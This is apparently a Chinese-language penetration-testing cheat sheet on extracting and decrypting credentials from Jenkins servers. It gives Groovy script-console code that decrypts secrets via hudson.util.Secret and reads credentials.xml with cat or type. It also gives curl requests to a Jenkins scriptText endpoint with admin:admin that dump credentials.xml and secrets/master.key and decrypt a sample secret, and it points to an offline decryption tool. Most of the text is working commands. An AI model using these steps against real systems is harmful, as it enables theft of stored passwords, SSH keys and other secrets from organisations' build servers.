Jenkins凭据解密技术
如果你在Jenkins服务器上拥有脚本控制台访问权限，可以通过以下方式解密credentials.xml中保存的密码：
1
2
3
|
hashed_pw='$PASSWORDHASH'
passwd = hudson.util.Secret.decrypt(hashed_pw)
println(passwd)
|
此操作需要在Jenkins系统本身上执行，因为它需要使用本地的master.key和hudson.util.Secret。
从脚本控制台获取credentials.xml的代码
Windows系统
1
2
3
4
5
|
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'cmd.exe /c type credentials.xml'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
|
*nix系统
1
2
3
4
5
|
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'cat credentials.xml'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
|
使用curl访问scriptText端点
Windows系统：
1
|
curl -u admin:admin http://10.0.0.160:8080/scriptText --data "script=def+sout+%3D+new StringBuffer(),serr = new StringBuffer()%0D%0Adef+proc+%3D+%27cmd.exe+/c+type+credentials.xml%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%3E+%24sout+err%3E+%24serr%22&Submit=Run"
|
子目录文件访问语法：
1
|
curl -u admin:admin http://10.0.0.160:8080/scriptText --data "script=def+sout+%3D+new StringBuffer(),serr = new StringBuffer()%0D%0Adef+proc+%3D+%27cmd.exe+/c+type+secrets%5C\master.key%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%3E+%24sout+err%3E+%24serr%22&Submit=Run"
|
*nix系统：
1
|
curl -u admin:admin http://10.0.0.160:8080/scriptText --data "script=def+sout+%3D+new StringBuffer(),serr = new StringBuffer()%0D%0Adef+proc+%3D+%27cat+credentials.xml%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%3E+%24sout+err%3E+%24serr%22&Submit=Run"
|
解密密码示例
1
|
curl -u admin:admin http://10.0.0.160:8080/scriptText --data "script=println(hudson.util.Secret.fromString('7pXrOOFP1XG62UsWyeeSI1m06YaOFI3s26WVkOsTUx0=').getPlainText())"
|
离线解密工具
如果只有文件但没有Jenkins访问权限，可以使用：https://github.com/tweksteen/jenkins-decrypt
文章提供了修改后的Python解密脚本，修复了正则表达式相关的问题，支持新旧两种密码格式的解密操作。脚本使用AES加密算法，通过master.key和hudson.util.Secret文件来解密credentials.xml中的敏感信息。
注意事项：
- 脚本默认使用正则表达式匹配password字段
- 如果需要解密SSH密钥或其他密钥，需要修改正则表达式
- 支持新版(V1)和旧版密码格式的解密